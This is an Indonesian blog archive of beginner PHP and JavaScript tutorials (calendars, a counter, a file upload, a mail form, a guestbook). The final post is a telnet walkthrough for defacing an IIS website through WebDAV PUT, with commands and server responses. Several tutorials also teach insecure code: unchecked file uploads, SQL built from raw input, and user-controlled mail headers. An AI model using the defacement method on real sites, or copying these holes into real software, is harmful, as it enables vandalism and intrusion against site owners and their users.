tutorial php dan javascript
| Tutorial Pemrograman Web – Membuat File PDF Dengan PHP | May 3, ’08 8:57 AM for everyone |
$pdf =& new Cezpdf();
//memasukkan image dengan format jpeg pada file pdf
$pdf->addJpegFromFile(‘./gambar/logo.jpg’,250,770,100);
//memilih jenis font yang akan digunakan
$pdf->selectFont(‘./font/Helvetica’);
$pdf->ezText(”,12);
//memasukkan text pada file pdf
$pdf->addText(60,720,14,’Test Membuat File PDF Dengan PHP’);
$pdf->addText(60,700,9,$value1);
$pdf->addText(60,680,9,$value3);
$pdf->addText(60,670,9,$value4);
$pdf->addText(60,640,10,’Selamat file pdf anda telah selesai dibuat.’);
$pdf->addText(60,630,9,’Selamat file pdf anda telah selesai dibuat.’);
$pdf->addText(60,620,8,’Selamat file pdf anda telah selesai dibuat.’);
$pdf->addText(60,610,7,’Selamat file pdf anda telah selesai dibuat.’);
$pdf->ezStream();
?>
| Tutorial Pemrograman Web – Membuat Kalender Dengan PHP | May 3, ’08 8:51 AM for everyone |
//bulan sekarang
$month=date(“m”);//Tahun sekarang
$year=date(“Y”);
//hari ini
$day=date(“d”);
//cek jumlah hari tahun sekarang
$endDate=date(“t”,mktime(0,0,0,$month,$day,$year));
//style untuk table
echo ‘ <style> td { font-size:11; font-family:verdana; } </style> ‘;
//table untuk menulis tanggal sekarang
echo ‘<table align=”center” border=”0″ width=”100%” cellpadding=2 cellspacing=1 style=”"><tr><td align=center>’;
echo date(“D, d M Y “,mktime(0,0,0,$month,$day,$year)); echo ‘</td></tr></table>’;
//table untuk menulis hari
echo ‘
<table align=”center” border=”0″ width=”100%” cellpadding=2 cellspacing=1 style=”border:1px solid #CCCCCC”>
<tr bgcolor=”#EFEFEF”>
<td align=center><font color=red>Su</font></td>
<td align=center>Mo</td>
<td align=center>Tu</td>
<td align=center>We</td>
<td align=center>Th</td>
<td align=center>Fr</td>
<td align=center>
<font color=blue>Sa</font></td></tr> ‘;
/* mengecek tanggal 1 bulan sekarang ada pada hari ke berapa kemudian tambahkan cell td sebanyak var $s */
$s=date (“w”, mktime (0,0,0,$month,1,$year));
for ($ds=1;$ds<=$s;$ds++)
{
echo “<td style=\”font-family:arial;color:#B3D9FF\” width=\”15%\” align=center valign=middle bgcolor=\”#FFFFFF\”> </td>”;
}
// memulai penulisan tanggal
for ($d=1;$d<=$endDate;$d++) {
// jika nilai $d (tanggal) adalah hari minggu (0) dibuat baris baru <tr>
if (date(“w”,mktime (0,0,0,$month,$d,$year)) == 0) { echo “<tr>”; }
//default warna huruf
$fontColor=”#000000″;
// jika tanggal adalah hari minggu warna huruf merah
if (date(“D”,mktime (0,0,0,$month,$d,$year)) == “Sun”) { $fontColor=”red”; }
// jika tanggal adalah hari sabtu warna huruf biru
if (date(“D”,mktime (0,0,0,$month,$d,$year)) == “Sat”) { $fontColor=”blue”; }
//menulis tanggal
echo “
<td style=\”font-family:arial;color:#333333\” width=\”15%\” align=center valign=middle><span style=\”color:$fontColor\”>$d</span></td>”;
//jika tanggal adalah hari sabtu (6) akhiri baris </tr>
if (date(“w”,mktime (0,0,0,$month,$d,$year)) == 6) { echo “</tr>”;
}
}
//akhir table
echo ‘</table>’;
?>
| Tutorial Pemrograman Web – Membuat Kalender Dengan JavaScript | May 3, ’08 8:50 AM for everyone |
<head><title>Kalender Javascript</title></head>
<body><SCRIPT LANGUAGE=”JavaScript”>
<!– Begin
monthnames = new Array(
“Januari”,
“Februari”,
“Maret”,
“April”,
“Mei”,
“Juni”,
“Juli”,
“Agustus”,
“September”,
“Oktober”,
“Nopember”,
“Desember”);
var linkcount=0;
function addlink(month, day, href) {
var entry = new Array(3);
entry[0] = month;
entry[1] = day;
entry[2] = href;
this[linkcount++] = entry;
}
Array.prototype.addlink = addlink;
linkdays = new Array();
monthdays = new Array(12);
monthdays[0]=31;
monthdays[1]=28;
monthdays[2]=31;
monthdays[3]=30;
monthdays[4]=31;
monthdays[5]=30;
monthdays[6]=31;
monthdays[7]=31;
monthdays[8]=30;
monthdays[9]=31;
monthdays[10]=30;
monthdays[11]=31;
<?
$saiki = date(“d M Y”);
echo “saiki=\”$saiki\”";
?>;
todayDate=new Date(saiki);
thisday=todayDate.getDay();
thismonth=todayDate.getMonth();
thisdate=todayDate.getDate();
thisyear=todayDate.getYear();
thisyear = thisyear % 100;
thisyear = ((thisyear < 50) ? (2000 + thisyear) : (1900 + thisyear));
if (((thisyear % 4 == 0)
&& !(thisyear % 100 == 0))
||(thisyear % 400 == 0)) monthdays[1]++;
startspaces=thisdate;
while (startspaces > 7) startspaces-=7;
startspaces = thisday – startspaces + 1;
if (startspaces < 0) startspaces+=7;
document.write(“<table bgcolor=#cccccc border=0 cellspacing=1 cellpadding=0 “);
document.write(“bordercolor=#666666 width=99%><font color=black>”);
document.write(“<tr><td colspan=7><center><strong><font size=1>”
+ monthnames[thismonth] + ” ” + thisyear
+ “</font></strong></center></font></td></tr>”);
document.write(“<tr>”);
document.write(“<td align=center><font size=1 color=red>M</font></td>”);
document.write(“<td align=center><font size=1>S</font></td>”);
document.write(“<td align=center><font size=1>S</font></td>”);
document.write(“<td align=center><font size=1>R</font></td>”);
document.write(“<td align=center><font size=1>K</font></td>”);
document.write(“<td align=center><font size=1 color=red>J</font></td>”);
document.write(“<td align=center><font size=1>S</font></td>”);
document.write(“</tr>”);
document.write(“<tr>”);
for (s=0;s<startspaces;s++) {
document.write(“<td> </td>”);
}
count=1;
while (count <= monthdays[thismonth]) {
for (b = startspaces;b<7;b++) {
linktrue=false;
document.write(“<td align=center><font size=1>”);
for (c=0;c<linkdays.length;c++) {
if (linkdays[c] != null) {
if ((linkdays[c][0]==thismonth + 1) && (linkdays[c][1]==count)) {
document.write(“<a href=\”" + linkdays[c][2] + “\”>”);
linktrue=true;
}
}
}
if (count <= monthdays[thismonth]) {
if (b==0) {
document.write(“<font color=grey>”);}
if (b==5) {
document.write(“<font color=blue>”);}
if (count==thisdate) {
document.write(“<font size=2 color=red><strong>”);}
document.write(count);
if (count==thisdate) {
document.write(“</strong></font>”);}
if (b==0){
document.write(“</font>”);}
if (b==5){
document.write(“</font>”);}
}
else {
document.write(” “);
}
if (linktrue)
document.write(“</a>”);
document.write(“</font></td>”);
count++;
}
document.write(“</tr>”);
document.write(“<tr>”);
startspaces=0;
}
document.write(“</table>”);
// End –>
</SCRIPT>
</body>
</html>
| Tutorial Pemrograman Web – Membuat Counter Pengunjung Dengan PHP | May 3, ’08 8:47 AM for everyone |
1. Membuat file tempat data counter pengunjung dicatat/disimpan
Kita bisa membuat file ini dengan format *.txt, Buka aplikasi notepad kemudian ketikan angak 0(nol) simpan file tersebut dengan nama counter.txt,2. Membuat script untuk menghitung jumlah counter
Berikut adalah script PHP untuk membuat form tersebut, file ini kita beri nama daftar_email.php<?
$file=fopen(“counter.txt”,”r”); //membuka file counter.txt
$hitung=fread($file,filesize(“counter.txt”)); //membaca isi file counter.txt
$hitung++;
echo ” Anda adalah pengunjung ke :”;
echo substr(“000000″,0,6-strlen($hitung))
.$hitung ;
fclose($file);
$file=fopen(“counter.txt”,”w”);
fwrite($file,$hitung); //merubah isi file counter.txt
fclose($file);
?>
| Tutorial Pemrograman Web – Membuat Form Upload File Dengan PHP | May 3, ’08 8:44 AM for everyone |
1. Membuat Form Untuk Meng-Upload File
Untuk membuat form upload file buatlah sebuah file dengan nama upload.php berikut listing programnya :<?
echo “
<form encType=multipart/form-data name=add method=”post” action=”upload_proses.php”>
<table>
<tr> <td> $pesan </td></tr>
<tr><td>
Pilih file yang ingin anda upload : <input size=”45″ type=”file” name=”file” >
</td></tr>
</table>
</form> “;
?>2.Membuat File Pemroses data
Dari file upload.php diatas dapat kita lihat bahwa form-action-nya adalah upload_proses.php, upload_proses.php adalah file yang berfungsi memproses file yang diinputkan untuk disimpan dalam direktori yang kita inginkan. berikut listing upload_proses.php
<?
copy($file,”D://FILE\\”.$file_name); // D://FILE\\ adalah direktori dimana kita ingin meletakkan file tersebut
?>
Masih gampang kan untuk dipahami?
| Tutorial Pemrograman Web – Membuat Aplikasi Email Dengan PHP | May 3, ’08 8:40 AM for everyone |
<? if (!$send) { ?>
<h1>Compose Email</h1>
<form method=POST>
<p>From:<br><input size=60 name=from>
<p>Subject:<br><input size=60 name=subject>
<p>To:<br><input size=60 name=to>
<p>Header lain:<br><textarea cols=60 rows=5 name=header></textarea>
<p>Pesan:<br><textarea cols=60 rows=10 name=body></textarea>
<p><input type=submit name=send value=”Kirim!”>
</form>
<? } else {
if (!$from) die(“From harus diisi.”);
if (!$to) die(“To harus diisi.”);
if (!$subject) $subject = “(no subject)”;
if (!$body) $body = “\n”;if (preg_match_all(‘/(^\S.*(?:\n\s+.*)*)/m’, $header, $m)) {
$header_fields = $m[1];
} else {
# tidak ada header tambahan
$header_fields = array();
}
# cek sintaks field header
foreach ($header_fields as $f) {
if (!preg_match(‘/(\S+):\s*(.*)/s’, $f))
die(“Field `$f’ salah”);
}
$header_fields[] = “From: $from”;
# kirim
$result = mail($to, $subject, $body, join(“\n”,$header_fields).”\n”);
if ($result)
echo “Mail telah dikirim.”;
else
die(“Mail gagal dikirim.”);
} ?>
Selamat mencoba, tapi jangan buat aplikasi jadi E-Bomb ya…..
| Tutorial Pemrograman Web – Membuat Random Banner dengan PHP | Apr 28, ’08 1:48 PM for everyone |
1. Membuat image untuk banner
Agar banner bisa berganti, anda bisa membuat banner yang berbeda satu dengan yang lainnya sebanyak yang anda inginkan. Sebagi contoh kita membuat 3 buah banner yang berbeda yang masing-masing kita beri nama : gambar1.gif, gambar2.gif, dan gambar3.gif2. Membuat script PHP
berikut adalah script PHP untuk memanggil dan menampilkan setiap image banner secara acak, sebagi contoh file tersebut kita beri nama random_ban.php , berikut script programnya :<?php
$codes = array
(
“<img src=gambar1.gif>”,”<img src=gambar2.gif>”,”<img src=gambar3.gif>” //nama file banner yang kita buat
);
echo (“Klik Banner-banner ini :<br><br>”);
shuffle($codes);
$i=0; //image pertama
$number=2; //image terakhir
while(list(, $code) =each($codes))
{
if ($i>=$number)
{
break;
}
echo “$code”;
echo ‘ ’; //untuk memberi spasi
$i++;
}
?>
Catatan : seperti kita ketahui (Kalau belum tahu jangan sok tahu deh he he…) Bilangan array adalah 0,1,2,3,dst… karena pada kasus ini kita menggunakan 3 buah gambar, maka bil array yang kita gunakan adalah 0, 1 dan 2. Image awal kita gambarkan dengan 0 dan image terakhir kita gambarkan dengan 2. Mudah-mudahan gampang dipahami, kalau nggak paham harap dimaklumi soalnya saya kan bukan dosen, tapi kalau ternyata mudah dipahami berarti saya berbakat menjadi dosen, ngomong-ngomong ada ga lowongan dosen buat saya? He he he …
| Tutorial Pemrograman Web – Membuat Aplikasi Langganan Berita/Milling List dengan PHP | Apr 28, ’08 1:42 PM for everyone |
1. Membuat file tempat daftar email pengunjung dicatat/disimpan
Kita bisa membuat file ini dengan format *.txt, Buka aplikasi notepad kemudian simpan dengan nama email.txt, anda tidak perlu mengisi file ini, biarkan saja kosong2. Membuat form bagi pengunjung untuk mendaftarkan email mereka Berikut adalah script PHP untuk membuat form tersebut, file ini kita beri nama daftar_email.php<?
echo “Apakah Anda Ingin Berlangganan Berita dari Kami ?<br>
<Form Method=post Action=catat_email.php>
Masukkan alamat email anda :
<Input Type=text name=mail Size=30>
<Input Type=Submit Name=Submit Value=Subscribe>
</Form>”;
?>
3. Membuat file yang memproses dan menyimpan data email pengunjung kedalam file email.txt yang telah kita buat
Berikut adalah script PHP untuk memproses dan menyimpan email tersebut, file ini kita beri nama catat_email.php
<?php
$file=fopen(“email.txt”,”a+”);
// Menambahkan koma sebagai pemisah antar email didalam teks
While(!feof($file))
{
$alamat=fgetss($file,300);
if (ereg(“^.+@.+\\..+$”,$alamat)) //validasi email
$mail=”,”.$mail;
}
if (fputs($file,$mail))
{
echo(“Selamat ! Email Anda Telah terdaftar <br>”);
echo(“Selanjutnya Kami akan kirim tiap berita ke email anda.<br>”);
}
?>
4. Membuat form untuk mengirimkan berita ke setiap pelanggan
Berikut adalah script PHP untuk membuat form tersebut, file ini kita beri nama kirim_berita.php
<?php
$file=fopen(“email.txt”,”r”);
while(!feof($file))
{
$tujuan=fgetss($file,300);
}
if ($submit)
{
mail($tujuan,$subjek,$isi,”From Admin@xxxxx.xxx”);
echo(“Email telah sukses terkirim ke tujuan”);
}
?>
<html>
<?php
echo(“<form method=post action=$PHP_SELF>”);
?>
<br>
<table width=”100%” border=”0″>
<tr>
<td width=”9%”> </td>
<td width=”3%”> </td>
<td width=”88%”> </td>
</tr>
<?php
echo “
<tr>
<td align=left valign=top>Kepada</td>
<td align=center valign=top>:</td>
<td><input type=text name=$tujuan value=$tujuan></td>
</tr>”;
?>
<tr>
<td align=left valign=top>Subjek</td>
<td align=center valign=top>:</td>
<td><input type=text name=$judul></td>
</tr>
<tr>
<td align=left valign=top>Isi</td>
<td align=center valign=top>:</td>
<td><textarea name=pesan cols=52 rows=6></textarea></td>
</tr>
<tr>
<td align=center> </td>
</tr>
</table>
<input type=submit name=submit value=KIRIM>
</html>
Selamat mencoba …!!
| Tutorial Pemrograman Web – Aplikasi Buku Tamu Sederhana dengan PHP, HTML dan Javascript | Apr 28, ’08 1:28 PM for everyone |
1. Membuat Database
Buatlah sebuah database, sebagai contoh buat database dengan nama sample_db kemudian buat sebuah tabel dalam database sample_db dengan nama tabel buku_tamu Strukturnya adalah sebagai berikut :+—————+———————————-+
| Name | Type |
+—————+———————————-+
| id | int(4) unsigned, autoincrement |
| nama | varchar(50) |
| alamat | varchar(100) |
| email | varchar(30) |
| komentar | text |
| waktu | time |
| tanggal | date |
+—————+———————————-+
2. Membuat file koneksi
File koneksi digunakan untuk menghubungkan antara script dengan database yang kita buat. sebagai contoh buatlah file koneksi dengan nama koneksi.php . Berikut adalah listing file koneksi sederhana
<?
$db_host=”localhost”;
$db_user=”root”;
$db_pass=”";
$db_name=”sample_db”;
$messageview = 4;
$messageview_foto = 5;
$messageview_link = 8;
$messageview_agenda = 5;
$db_connection=mysql_connect($db_host, $db_user, $db_pass) or die (“Gagal Membuka Database!”);
$db_select=mysql_select_db($db_name);
?>
3. Membuat Form bagi Pengunjung Untuk Mengisi Buku Tamu
Untuk membuat form isian buku tamu buatlah sebuah file dengan nama buku_kirim.html berikut listing programnya :
<table width=”100%” cellpadding=”0″ cellspacing=”0″>
<tr><td align=”left”>
<script language=”JavaScript” type=”text/javascript”>
<!– Begin
function NewWindow(mypage, myname, w, h) {
var winl = (screen.width – w) / 2;
var wint = (screen.height – h) / 2;
winprops = ‘height=’+h+’,width=’+w+’,top=’+wint+’,left=’+winl+”
win = window.open(mypage, myname, winprops)
if (parseInt(navigator.appVersion) >= 4) { win.window.focus(); }
}
// End –>
</script>
<script language=”JavaScript” type=”text/javascript”>
<!–
var flag=0;
function openCentered(theURL,winName,winWidth,winHeight,features)
{
var w = (screen.width – winWidth)/2;
var h = (screen.height – winHeight)/2 – 30;
features = features+’,width=’+winWidth+’,height=’+winHeight+’,top=’+h+’,left=’+w;
window.open(theURL,winName,features);
}
function checkForm() {
document.add.nama.value=trim(document.add.nama.value);
document.add.email.value=trim(document.add.email.value);
document.add.alamat.value=trim(document.add.alamat.value);
document.add.komentar.value=trim(document.add.komentar.value);
if(document.add.nama.value == “”)
{
alert(“Anda belum mengisi Nama Anda ! Perbaiki dan coba sekali lagi.”);
document.add.nama.focus();
return false;
}
if(document.add.nama.value.length>40)
{
alert(“Nama terlalu panjang ! Maksimal 40 Karakter. Perbaiki dan coba sekali lagi.”);
document.add.nama.focus();
return false;
}
var myString = document.add.email.value;
if ((myString.indexOf(“.”) < 2) || (myString.indexOf(“@”) < 0) || (myString.lastIndexOf(“.”) < myString.indexOf(“@”)))
{
alert(‘Anda belum mengisi E-Mail atau Penulisan E-Mail tidak tepat !’);
add.email.focus();
return false;
}
if(document.add.alamat.value == “”)
{
alert(“Anda belum mengisi Alamat Anda ! Perbaiki dan coba sekali lagi.”);
document.add.alamat.focus();
return false;
}
if(document.add.alamat.value.length>100)
{
alert(“Alamat terlalu panjang ! Maksimal 100 Karakter. Perbaiki dan coba sekali lagi.”);
document.add.alamat.focus();
return false;
}
if(document.add.komentar.value == “”)
{
alert(“Anda belum mengisi Field Komentar ! Perbaiki dan coba sekali lagi.”);
document.add.komentar.focus();
return false;
}
flag=1;
return true;
}
function trim(value)
{
startpos=0;
while((value.charAt(startpos)==” “)&&(startpos<value.length))
{
startpos++;
}
if(startpos==value.length)
{
value=”";
}
else
{
value=value.substring(startpos,value.length);
endpos=(value.length)-1;
while(value.charAt(endpos)==” “) {
endpos–;
}
value=value.substring(0,endpos+1);
}
return(value);
}
//–>
</script>
<table width=”100%”>
<tr>
<td width=”79%” height=”33″ align=”center” valign=”top”><strong>Panel Buku Tamu </strong></td>
</tr>
</table>
<table width=”100%”>
<tr>
<td height=”20″ align=”center” valign=”middle”> <? echo “$pesan”; ?></td>
</tr>
</table>
<table width=”100%” height=”205″ border=”0″ cellpadding=”0″ cellspacing=”0″>
<tr>
<td width=”1%” height=”205″> </td>
<td width=”98%” valign=”top”>
<form action=”buku_kirim_proses.php” method=”post” enctype=”multipart/form-data” name=”add” id=”add” onsubmit=”return checkForm()”
onreset = “alert(‘Anda Menghapus Form’)”>
<table width=”100%” border=”0″ align=”center”>
<tr bg=”bg” color=”white”>
<td width=”16%” height=”22″ align=”left” valign=”top”>Nama</td>
<td width=”4%” align=”left” valign=”top”>:</td>
<td width=”76%” align=”left” valign=”top”><input id=”nama” name=”nama” size=”30″ maxlenght=”30″ />
<font color=”#FF0000″><strong>* </strong></font></td>
</tr>
<tr bg=”bg” color=”white”>
<td width=”16%” align=”left” valign=”top”>Email</td>
<td width=”4%” align=”left” valign=”top”>:</td>
<td width=”76%” align=”left” valign=”top”><input id=”email” name=”email” size=”30″ maxlenght=”30″ />
<font color=”#FF0000″><strong>* </strong></font></td>
</tr>
<tr bg=”bg” color=”white”>
<td width=”16%” align=”left” valign=”top”>Alamat</td>
<td width=”4%” align=”left” valign=”top”>:</td>
<td width=”76%” align=”left” valign=”top”><input id=”alamat” name=”alamat” size=”48″ maxlenght=”30″ /></td>
</tr>
<tr bg=”bg” color=”white”>
<td align=”left” valign=”top”>Komentar</td>
<td align=”left” valign=”top”>:</td>
<td align=”left” valign=”top”><label>
<textarea name=”komentar” cols=”30″ rows=”8″></textarea>
</label></td>
</tr>
<tr bg=”bg” color=”white”>
<td height=”26″ colspan=”3″>
<table width=”100%” border=”0″ cellspacing=”0″ cellpadding=”0″>
<tr>
<td width=”29%” height=”25″> </td>
<td width=”71%”>
<input id=”aksi” type=”submit” onclick=”if(flag==1) return false;” name=”Submit3″ value=”Simpan” />
<input type=”reset” name=”Reset” value=”Reset Form” />
</td>
</tr>
</table>
</td>
</tr>
</table>
</form></td>
</tr>
</table>
</td>
</tr>
</table>
4.Membuat File Pemroses Data
Dari file buku_kirim.html diatas dapat kita lihat bahwa form-action-nya adalah buku_kirim_proses.php, file buku_kirim_proses. php adalah file yang berfungsi memproses data yang diinputkan pengunjung untuk disimpan dalam databse yang telah kita buat. berikut listing buku_kirim_proses.php
<?
if ($nama==”"){
$pesan=”Maaf, Field nama harus di isi, Harap di ulangi ..”;
header(“location:buku_kirim.php?pesan=$pesan”);
}
elseif (strlen($alamat)==0){
$pesan=”Maaf, Field alamat harus di isi, Harap di ulangi ..”;
header(“location:buku_kirim.php?pesan=$pesan”);
}
elseif (strlen($komentar)==0){
$pesan=”Maaf, Field komentar harus di isi, Harap di ulangi ..”;
header(“location:buku_kirim.php?pesan=$pesan”);
}
elseif (strlen($email)==0){
$pesan=”Maaf, field email harus di isi, Harap di ulangi ..”;
header(“location:buku_kirim.php?pesan=$pesan”);
}
else
{
$cekemail=ereg(“^.+@.+\\..+$”, $email);
if (strlen($cekemail)==0){
$pesan=”Maaf, penulisan email tidak valid, Harap di ulangi ..”;
header(“location:buku_kirim.php?pesan=$pesan”);
}
else
{
$tanggal=date(“d-m-Y”);
$waktu=date(“H:i:s”);
$komentar=strip_tags($komentar);
$nama=strip_tags($nama);
$alamat=strip_tags($alamat);
$email=strip_tags($email);
include “koneksi.php”;
mysql_query(“insert into buku_tamu (nama,alamat,email,komentar,waktu,tanggal) values (‘$nama’,'$alamat’,'$email’,'$komentar’,'$waktu’,'$tanggal’)”);
$subject = “Konfirmasi Buku Tamu”;
$fromName = “Buku Tamu”;
$fromAddress = “admin@xxxxx.xxx”;
$message = “Terima kasih $nama anda telah mengisi Buku Tamu”;
mail(“$email”, “$subject”, “$message”, “From: \”$fromName\”<$fromAddress>”);
$pesan=”Terima Kasih $nama, komentar Anda telah terkirim..”;
header(“location:buku_lihat.php?pesan=$pesan”);
}
}
?>
5. Menampilkan Data Buku Tamu
Untuk menampilkan data yang telah diinputkan pengunjung , kita harus membuat sebuah file yang berfungsi meminta data dari database dan menampilkannya, sebagai contoh buatlah file dengan nama buku_lihat.php, berikut listing programnya :
<?
include (“koneksi.php”);
if (!$next) {
$next = $messageview;
$start = 0;
}
else {
$next = $next +$messageview;
$start = $start +$messageview;
$older_next = $next-$messageview;
$older_start = $start -$messageview;
$newerfield = “<img src=\”images/panah.gif\”
alt=\”Newer Messages…\” border=\”0\”> <a href=Javascript:history.back()>lihat data terbaru</a><br>”;
}
$total =@mysql_num_rows(mysql_db_query(“depoks01_aku”, “select * from buku_tamu”));
$res = @mysql_db_query(“depoks01_aku”, “select * from buku_tamu ORDER BY id DESC LIMIT $start,4″);
$num = @mysql_num_rows($res);
echo “<table border=0 width=100%>”;
echo “<tr><td>”;
echo “<p align=\”center\”><font face=verdana size=2><strong> Total Data Buku Tamu : $total</strong></font></p>”;
if ($next) {echo $newerfield;}
echo “<img src=\”images/panah.gif\”
alt=\”Older Messages…\” border=\”0\”> <a href=$PHP_SELFT?next=$next&start=$start>lihat data sebelumnya..</a><br><br>”;
echo “</td></tr>”;
echo “</table>”;
for ($i=0; $i<$num; $i++) {
$id = mysql_result($res, $i, “id”);
$nama = mysql_result($res, $i, “nama”);
$alamat = mysql_result($res, $i, “alamat”);
$email = mysql_result($res, $i, “email”);
$komentar = mysql_result($res, $i, “komentar”);
$komentar = str_replace(“\n”,”<br>”, $komentar);
$tanggal = mysql_result($res, $i, “tanggal”);
$waktu = mysql_result($res, $i, “waktu”);
echo “<table border=0 bgcolor=black cellpadding=0 cellspacing=1 width=100%>\n<tr>\n<td>”;
echo “<table border=0 bgcolor=white width=100% cellpadding=1 cellspacing=1>\n”;
echo “<tr>
<td valign=center align=left width=100><font face=verdana ><font face=verdana >No : <b>$id</font></b></font></td>
<td width=15 align=center></td>
<td valign=center align=right ><font face=verdana > $tanggal | $waktu</font></td>\n
</tr>”;
echo “<tr>
<td valign=center align=left width=100><font face=verdana ><br></font></td>
<td width=15 align=center></td>
<td valign=center align=right ></td>\n
</tr>”;
echo “<tr>
<td valign=center align=left ><font face=verdana ><b>N a m a</b></td>
<td width=15 align=center>:</td>
<td valign=center align=left >$nama</td>\n
</tr>”;
echo “<tr>
<td valign=center align=left ><font face=verdana ><b>Alamat </b></td>
<td width=15 align=center>:</td>
<td valign=center align=left >$alamat</td>\n
</tr>”;
echo “<tr>
<td valign=center align=left ><font face=verdana size=1 ><b>E-Mail</b></td>
<td width=15 align=center>:</td>
<td valign=center align=left ><a href=\”mailto:$email\” target=_blank>$email</a></td>\n
</tr>”;
echo “<tr>
<td valign=top align=left ><font face=verdana ><b>Komentar </b></td>
<td width=15 valign=top align=center>:</td>
<td valign=center align=left >$komentar<p align=\”right\”></p></td>\n
</tr>”;
echo “</table>\n”;
echo “</td></tr>\n</table>\n”;
echo “<br>”;
}
?>
Gampang kan? Awas kalo bilang enggak!!! contoh diatas adalah contoh aplikasi sederhana untuk pemula, Anda bisa memodifikasi dan mengembangkannya sesuai dengan keinginan dan selera Anda, dan jangan lupa tambahkan garam secukupnya he he he…
| Tutorial Hacking – Metode Put | Apr 28, ’08 1:24 PM for everyone |
Untuk meng-hack sebuah website menggunakan teknik atau metode Put ada beberapa langkah yang harus dilakukan :
1. Memeriksa perintah/syntak apa saja yang boleh digunakan
Yang harus dilakukan untuk mendapatkan informasi perintah apa saja yang boleh digunakan yang digunakan adalah dengan menjalankan Command Prompt (Dalam kasus ini kita menggunakan Sistem Operasi Windows XP/NT), yaitu dengan me-run file cmd.exe, Dari jendela command prompt yang muncul kita ketikkan perintah
C:\>telnet nama_website 80
sebagai contoh kita ketikkan perintah C:\>telnet www.pram.com 80 kemudian tekan enter kenudian ketikkan pada command prompt perintah sebagai berikut :
OPTIONS * HTTP/1.1
Host:www.pram.com ,lalu tekan enter
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date : Tue, 23 April 2007 15:13:08 GMT
Content-Lenght : 0
Accept-Ranges: bytes
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Cache-controls : private
dari situ kita bisa tahu bahwa perintah-perintah yang boleh digunakan adalah :
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
kemudian enter, maka akan muncul di jendela command prompt sebagai berikut :
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date : Tue, 23 April 2007 15:14:08 GMT
Content-Type : text/html
Content-Lenght : 87
<html> <head> <title> Error </title></head><body> The paramater is incorrect. </body></html>
Connection to host lost.
C:\>
kemudian kita ketikkan pada command prompt :
C:\>telnet www.pram.com 80, lalu tekan enter
connecting to www.pram.com…
2. Membuat File Baru ke Web Server
Ketikkan pada command prompt perintah unruk membuat file baru sebagai berikut :
PUT /default.htm HTTP/1.1
host:www.pram.com
Content-Lenght:110
<body text=”#FFFFFF” bgcolor=”#OOOOOO”><font size=”H3″> Selamat, Web Ini telah Kami deface</p>
lalu tekan enter maka akan muncul pesan di jendela command prompt sebagai berikut :
HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date : Tue, 23 April 2007 15:16:18 GMT
HTTP/1.1 100 Created
Server: Microsoft-IIS/5.0
Date : Tue, 23 April 2007 15:16:18 GMT
Location : http://www.pram.com/default.htm
Content_Lenght: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date : Tue, 23 April 2007 15:16:18 GMT
Content-Type : text/html
Content-Lenght : 87
<html> <head> <title> Error </title></head><body> The paramater is incorrect. </body></html>
Connection to host lost.
C:\>
5. Jalankan file yang sudah anda buat
Untuk mengetahui apakah anda sudah berhasil membuat file baru dalam direktori website yang anda hack anda tinggal mengetikkan pada address :
http://www/pram.com/default.htm
Jika anda berhasil maka akan muncul halaman yang berisikan pesan yang anda buat yaitu : Selamat, Web Ini telah Kami deface,
anda bisa memasukkan atau membuat file baru dengan nama file seperti yang ada pada direktori, misalnya index.htm dll
Catatan :
Mungkin script diatas hanya berlaku pada web yang menggunakan server IIS, dan berbeda dengan web yang menggunakan server linux atau yang lain. dan berbeda pula jika kita menggunakan Sistem operasi yang lain
Penulis tidak menyarankan/menganjurkan meng-hack atau merusak website milik orang lain, jika anda ingin mencobanya penulis menyarankan membangun lab percobaan sendiri atau bisa juga dengan menggunakan virtual computer agar lebih murah
Belum ada komentar.
Tinggalkan Balasan
-
Terkini
-
Tautan
-
Arsip
- November 2009 (3)
-
Kategori
-
RSS
RSS Entri
Komentar RSS